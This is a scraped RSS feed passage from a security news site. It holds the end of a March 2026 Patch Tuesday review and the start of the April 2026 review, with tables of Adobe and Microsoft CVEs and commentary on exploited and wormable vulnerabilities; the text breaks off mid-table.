Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The April 2026 Security Update Review]]></title>
<description><![CDATA[It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Micro...]]></description>
<link>https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for April 2026</strong></p><p class="">For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-43.html" target="_blank">APSB26-43</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>1</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>Yes</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-44.html" target="_blank">APSB26-44</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-32.html" target="_blank">APSB26-32</a></td>
    <td>Adobe InDesign</td>
    <td>9</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-33.html" target="_blank">APSB26-33</a></td>
    <td>Adobe InCopy</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/framemaker/apsb26-36.html" target="_blank">APSB26-36</a></td>
    <td>Adobe FrameMaker</td>
    <td>11</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-37.html" target="_blank">APSB26-37</a></td>
    <td>Adobe Connect</td>
    <td>9</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-38.html" target="_blank">APSB26-38</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-39.html" target="_blank">APSB26-39</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/photoshop/apsb26-40.html" target="_blank">APSB26-40</a></td>
    <td>Adobe Photoshop</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-42.html" target="_blank">APSB26-42</a></td>
    <td>Adobe Illustrator</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-screens/apsb26-34.html" target="_blank">APSB26-34</a></td>
    <td>Adobe Experience Manager Screens</td>
    <td>9</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-41.html" target="_blank">APSB26-41</a></td>
    <td>Adobe DNG SDK</td>
    <td>3</td>
    <td>Important</td>
    <td>5.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
</table>



  
  









  <p class="">Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed. </p><p class="">Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for April 2026</strong></p><p class="">This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.</p><p class="">By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201" target="_blank"><strong>CVE-2026-32201</strong></a><strong> - Microsoft SharePoint Server Spoofing Vulnerability<br></strong>Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825" target="_blank"><strong>CVE-2026-33825</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>This bug is listed as publicly known, and this time, we know exactly <a href="https://deadeclipse666.blogspot.com/2026/04/public-disclosure.html" target="_blank">where</a> it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827" target="_blank"><strong>CVE-2026-33827</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824" target="_blank"><strong>CVE-2026-33824</strong></a><strong> - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability<br></strong>Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.</p><p class="">Here’s the full list of CVEs released by Microsoft for April 2026:</p>





















  
  




  


  
    




<title>April 2026 Patch Tuesday</title>



<table>
<thead><tr>
  <th>CVE</th>
  <th>Title</th>
  <th>Severity</th>
  <th>CVSS</th>
  <th>Public</th>
  <th>Exploited</th>
  <th>Type</th>
</tr></thead>
<tbody>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201">CVE-2026-32201</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>Yes</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5281">CVE-2026-5281 *</a></td>
  <td>Chromium: CVE-2026-5281 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>Yes</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825">CVE-2026-33825</a></td>
  <td>Microsoft Defender Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>Yes</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23666">CVE-2026-23666</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Critical</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32190">CVE-2026-32190</a></td>
  <td>Microsoft Office Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33114">CVE-2026-33114</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33115">CVE-2026-33115</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32157">CVE-2026-32157</a></td>
  <td>Remote Desktop Client Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33826">CVE-2026-33826</a></td>
  <td>Windows Active Directory Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824">CVE-2026-33824</a></td>
  <td>Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>9.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827">CVE-2026-33827</a></td>
  <td>Windows TCP/IP Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.1</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26171">CVE-2026-26171</a></td>
  <td>.NET Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32226">CVE-2026-32226</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.9</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32178">CVE-2026-32178</a></td>
  <td>.NET Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32203">CVE-2026-32203</a></td>
  <td>.NET and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33116">CVE-2026-33116</a></td>
  <td>.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-20585">CVE-2023-20585 *</a></td>
  <td>AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability</td>
  <td>Important</td>
  <td>5.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32072">CVE-2026-32072</a></td>
  <td>Active Directory Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.2</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25184">CVE-2026-25184</a></td>
  <td>Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32171">CVE-2026-32171</a></td>
  <td>Azure Logic Apps Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32168">CVE-2026-32168</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32192">CVE-2026-32192</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32181">CVE-2026-32181</a></td>
  <td>Connected User Experiences and Telemetry Service Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27924">CVE-2026-27924</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32152">CVE-2026-32152</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32154">CVE-2026-32154</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27923">CVE-2026-27923</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32155">CVE-2026-32155</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23653">CVE-2026-23653</a></td>
  <td>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32631">CVE-2026-23653 *</a></td>
  <td> GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes </td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33096">CVE-2026-33096</a></td>
  <td>HTTP.sys Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25250">CVE-2026-25250 *</a></td>
  <td>MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix</td>
  <td>Important</td>
  <td>6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26181">CVE-2026-26181</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32219">CVE-2026-32219</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32091">CVE-2026-32091</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26152">CVE-2026-26152</a></td>
  <td>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33103">CVE-2026-33103</a></td>
  <td>Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32188">CVE-2026-32188</a></td>
  <td>Microsoft Excel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32189">CVE-2026-32189</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32197">CVE-2026-32197</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32198">CVE-2026-32198</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32199">CVE-2026-32199</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32184">CVE-2026-32184</a></td>
  <td>Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26155">CVE-2026-26155</a></td>
  <td>Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27914">CVE-2026-27914</a></td>
  <td>Microsoft Management Console Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26149">CVE-2026-26149</a></td>
  <td>Microsoft Power Apps Security Feature Bypass</td>
  <td>Important</td>
  <td>9</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32200">CVE-2026-32200</a></td>
  <td>Microsoft PowerPoint Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26143">CVE-2026-26143</a></td>
  <td>Microsoft PowerShell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33120">CVE-2026-33120 †</a></td>
  <td>Microsoft SQL Server Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20945">CVE-2026-20945</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33822">CVE-2026-33822</a></td>
  <td>Microsoft Word Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33095">CVE-2026-33095</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23657">CVE-2026-23657</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32081">CVE-2026-32081</a></td>
  <td>Package Catalog Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26170">CVE-2026-26170</a></td>
  <td>PowerShell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26183">CVE-2026-26183</a></td>
  <td>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26160">CVE-2026-26160</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26159">CVE-2026-26159</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
